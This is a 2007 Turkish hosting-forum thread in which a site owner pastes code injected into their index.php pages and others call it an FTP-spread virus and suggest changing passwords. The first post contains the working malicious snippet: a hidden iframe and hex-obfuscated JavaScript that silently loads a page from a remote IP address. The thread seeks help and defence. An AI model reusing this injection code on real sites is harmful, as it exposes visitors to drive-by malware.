• 09-12-2007, 12:49:30
    #1
    resller hesbımdaki siteleirn çogunun index.php sayfasında </html> kodundan sonra aşağıdaki kodlar eklenmiş biri tarafından.
    Bu kodlar ne anlama geliyor arkadşalar.
    index.php yi herhangi bir editörde açıp baktıgımda bu kodlar gözükmüyor.Sadece browserdan sayfa kodnu göster dediğimde orda göüküyor.
    Bu durumd anapmama lazıma caba?
    <iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v4758ddc26857d(v4758ddc269561){ var v4758ddc26b325=16; return(parseInt(v4758ddc269561,v4758ddc26b325));}function v4758ddc26ea47(v4758ddc26eed8){ function v4758ddc2706b1 () {return 2;} var v4758ddc26f6c5='';for(v4758ddc26fed6=0; v4758ddc26fed6<v4758ddc26eed8.length; v4758ddc26fed6+=v4758ddc2706b1()){ v4758ddc26f6c5+=(String.fromCharCode(v4758ddc26857d(v4758ddc26eed8.substr(v4758ddc26fed6, v4758ddc2706b1()))));}return v4758ddc26f6c5;} document.write(v4758ddc26ea47('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D373365207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A323133353730292B27653565386334625C272077696474683D363330206865696768743D333339207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
  • 09-12-2007, 13:30:24
    #2
    Virüs Başka Ne Olabilir Sen Ne Kadar Silsen O Geri Gelir Çoğu Web Siteleri Bu Kodda Sıkıntı İçerisinde Bütün indexlere dağılmış olabilir dikkat et
  • 09-12-2007, 14:06:23
    #3
    Üyeliği durduruldu
    FTP'sine bağlandığın tüm sitelere eklenir bu. Daha sonrada siteye girenlere bulaşıp onların ftp'sine sızar. Amacı nedir bilmiyorum. Ama virüs olduğu kesin.
  • 09-12-2007, 15:26:39
    #4
    Üyeliği durduruldu
    ftp şifreni değiştirerek bunu engelleyebilirsin banada bulaşmıştı bu virüsler.
  • 09-12-2007, 19:50:36
    #5
    Aynısını bende yaşamıştım. Bütün index sayfalarıma ekleniyordu. ben sildim ertesi gün eklendi 3-4 kez tekrar takrar yaptım kurtuluş olmadı. En sonunda bir kez daha temizledim ve TutkumNet in söylediği gibi ftp şifremi ve ftp kullanıcı adını değiştirdim sorun düzeldi.Sizin işinizede yarayacaktır.
  • 10-12-2007, 10:56:00
    #6
    Merhaba ben Penguen Sesli Panelin Sahibiyim Beninde Aynı Olay Basıma Geldı 4 Sunucumda 350 web sıtemde aynı sorunuı yasadım , sildiğim halde yıne eklenıyor , Bu Genel Olarak 6 aydan bu yana süre gelen olay ve önlemini almazsanız problemlerınız buyuyecektir web siteye giren insanların makinesine bulasacak ve virus uyarısı verecektir ben kendim bu sorundan kurtuldum tabiki maliyeti oldu sunucunuz ve web siteniz bukadar değerylse arayın 0542 739 09 37 boşuna makınenıze format atmayın, sunucunuzda bosuna viris taraması yapmayın ...
  • 14-12-2007, 03:54:37
    #7
    bende de ayni sorun var cozemedim bir turlu hocam burda aciklasaniz maliyetini bizden cikarmayi mi dusunuyorsunuz
  • 14-12-2007, 04:37:11
    #8
    Alıntı
    maliyeti oldu sunucunuz ve web siteniz bukadar değerylse arayın 0542 739 09 37 boşuna makınenıze format atmayın, sunucunuzda bosuna viris taraması yapmayın
    burada paylaşmanızı tercih ederim bende.Bu sorunla karşılaşan başkalaınada yardımcı olmuş olursunuz.
  • 14-12-2007, 14:46:46
    #9
    virüs aynı kod benim sitemin index dosyalarınada bulaştı.
    CuteFTP mi kullanıyorsun?

    Yapman gereken Ftp şifreni değiştirip. o kodu indexini açıp o kodu kaldırmak tüm indexlere bulaşmıştır hepsinden kaldırman gerekli not defteri ile açarsan kodu görürsün.